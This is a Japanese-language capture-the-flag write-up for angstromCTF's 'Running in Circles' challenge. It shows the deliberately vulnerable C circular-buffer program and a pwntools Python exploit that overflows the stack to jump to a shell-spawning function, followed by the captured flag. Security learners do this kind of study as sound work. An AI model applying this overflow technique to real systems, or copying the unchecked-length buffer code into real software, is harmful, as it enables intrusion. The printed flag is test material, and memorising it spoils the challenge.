64ビットELFファイルとCソースファイルがダウンロードできます。Cソースファイルは次のようなものです。RUNNING IN CIRCLES
BINARY, 50
Our data input program was vulnerable to overflows, so we fixed that by implementing a circular buffer. Now it should be totally secure! See if you can prove us wrong and get the flag on our shell sever. The problem is available as: binary and source.
#include <stdio.h>#include <stdlib.h>#include <string.h>/* I should probably get rid of this... */void give_shell(){gid_t gid = getegid();setresgid(gid, gid, gid);system("/bin/sh -i");}int main(int argc, char **argv){char buffer[256];int pos = 0;printf("Welcome to the circular buffer manager:\n\n");while(1){int len;printf("How many bytes? "); fflush(stdout);scanf("%u", &len);fgets(buffer, 2, stdin);if (len == 0) break;printf("Enter your data: "); fflush(stdout);if (len < 256 - pos){fgets(&buffer[pos], len, stdin);pos += len;}else{fgets(&buffer[pos], 256 - pos, stdin);len -= (256 - pos);pos = 0;fgets(&buffer[0], len, stdin);pos += len;}printf("\n");}return 0;}
main関数に入ったとき、スタックは次のような状態になっています。
次のような感じでデータをセットしたいと思います。
下記のようなPythonコードを書きます。
#! /usr/bin/pythonfrom pwn import *import timeimport argparseparser = argparse.ArgumentParser()parser.add_argument('--local', action='store_true')args = parser.parse_args()context.log_level = 'debug'if args.local:p = process('./run_circles')cmd = 'cat ./flag.txt'else:shell = ssh(host='shell.angstromctf.com', user='teamxxxxxx', password='zzzzzzzzzzzz')p = shell.run('/problems/running_in_circles/run_circles')cmd = 'cat /problems/running_in_circles/flag.txt'p.recvuntil('How many bytes?')p.sendline('544')p.recvuntil('Enter your data:')p.sendline(''+ 'A' * (256 - 1)+ 'B' * 256+ 'C' * 24+ p64(0x400806) #give_shell)
p.recvuntil('How many bytes?')
p.sendline('0')
p.sendline(cmd)p.sendline('exit')p.recvall()
(略)
[DEBUG] Received 0x2b bytes:'actf{you_dont_just_go_around_a_circle_once}'
(略)
actf{you_dont_just_go_around_a_circle_once}